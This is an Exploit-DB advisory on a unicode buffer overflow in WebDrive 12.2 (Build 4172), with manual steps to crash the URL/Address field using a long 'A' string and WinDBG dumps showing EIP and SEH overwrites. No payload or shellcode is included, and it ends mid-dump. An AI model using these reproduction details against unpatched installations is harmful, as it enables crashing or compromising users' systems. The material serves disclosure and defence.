Exploit-DB #37188
Description: WebDrive 12.2 (B4172) - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-06-03
Author: Vulnerability-Lab

Exploit:
Document Title:
===============
WebDrive 12.2 (B4172) - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1500


Release Date:
=============
2015-06-01


Vulnerability Laboratory ID (VL-ID):
====================================
1500


Common Vulnerability Scoring System:
====================================
6.8


Product & Service Introduction:
===============================
Unlike a typical FTP client, WebDrive allows you to open and edit server-based, files without the additional step of downloading the file. 
Using a simple wizard, you assign a network drive letter to the FTP Server. WebDrive supports additional protocols such as WebDAV, SFTP and 
Amazon S3 and maps a drive letter to each of these servers.You can map unique drive letters to multiple servers.Download the 
full-function 20-day trial of WebDrive and  make file management on remote servers easier and more efficient!

(Copy of the Vendor Homepage: http://www.webdrive.com/products/webdrive/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered an unicode buffer overflow vulnerability in the official WebDrive v12.2 (Build 4172) 32 bit software.


Vulnerability Disclosure Timeline:
==================================
2015-06-01: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
South River Technologies
Product: WebDrive - Software 12.2 (Build 4172) 32 bit


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow software vulnerability has been discovered  in the official WebDrive v12.2 (Build 4172) 32 bit software.
The buffer overflow vulnerability allows to include unicode strings to basic code inputs from a system user account to compromise the software process or system.

A fail to sanitize the input of the URL/Address results in compromise of the software system process. Attackers are able to 
include large unicode strings to overwrite the registers like eip, ebp and co. WebDrive connects to many types of web servers, 
as well as servers in the cloud. You can use WebDrive to access your files on all of the following server types and protocols:

WebDAV ------------>Vulnerable
WebDAV over SSL---->Vulnerable
FTP---------------->Vulnerable
FTP over SSL------->Vulnerable
Amazon S3---------->Vulnerable
SFTP--------------->Vulnerable
FrontPage Server--->Vulnerable

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8. 
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability 
results in system compromise by elevation of privileges via overwrite of the registers.

Vulnerable Module(s):
						[+] URL/Address

Note: Unlike a typical FTP client, WebDrive allows you to open and edit server-based, files without the additional step of downloading the file. 
Using a simple wizard, you assign a network drive letter to the FTP Server. WebDrive supports additional protocols such as WebDAV, SFTP and Amazon S3 and 
maps a drive letter to each of these servers.You can map unique drive letters to multiple servers. Download the full-function 20-day trial of WebDrive and 
make file management on remote servers easier and more efficient!


Proof of Concept (PoC):
=======================
The buffer overflow web vulnerability can be exploited by local attackers with low privilege system user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Copy the AAAA...string from WebDrive.txt to clipboard
2. Create a connection 
3. Paste it in the URL/Address and attempt to connect.


--- Crash Analysis using WinDBG: [WebDAV] ---
(430.9f8): Access violation - code c0000005 (!!! second chance !!!)
eax=001cad5c ebx=02283af8 ecx=00000041 edx=02289d9c esi=fdf47264 edi=001cad5c
eip=0055ff2b esp=001c8cfc ebp=001c8d00 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe
webdrive+0x30ff2b:
0055ff2b 66890c16        mov     word ptr [esi+edx],cx    ds:0023:001d1000=????
0:000> !exchain
001c8d20: webdrive+35a24e (005aa24e)
001cb768: webdrive+1c0041 (00410041)
Invalid exception stack at 00410041
0:000> d 001cb768
001cb768  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb778  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb788  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb798  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb7a8  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb7b8  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb7c8  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.
001cb7d8  41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00  A.A.A.A.A.A.A.A.

WebDAV over SSL
============================
Crash Analysis using WinDBG:
============================
(b88.ca0): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=00410041 edx=775e660d esi=00000000 edi=00000000
eip=00410041 esp=000a1238 ebp=000a1258 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Symbol file could not be found.  Defaulted to export sy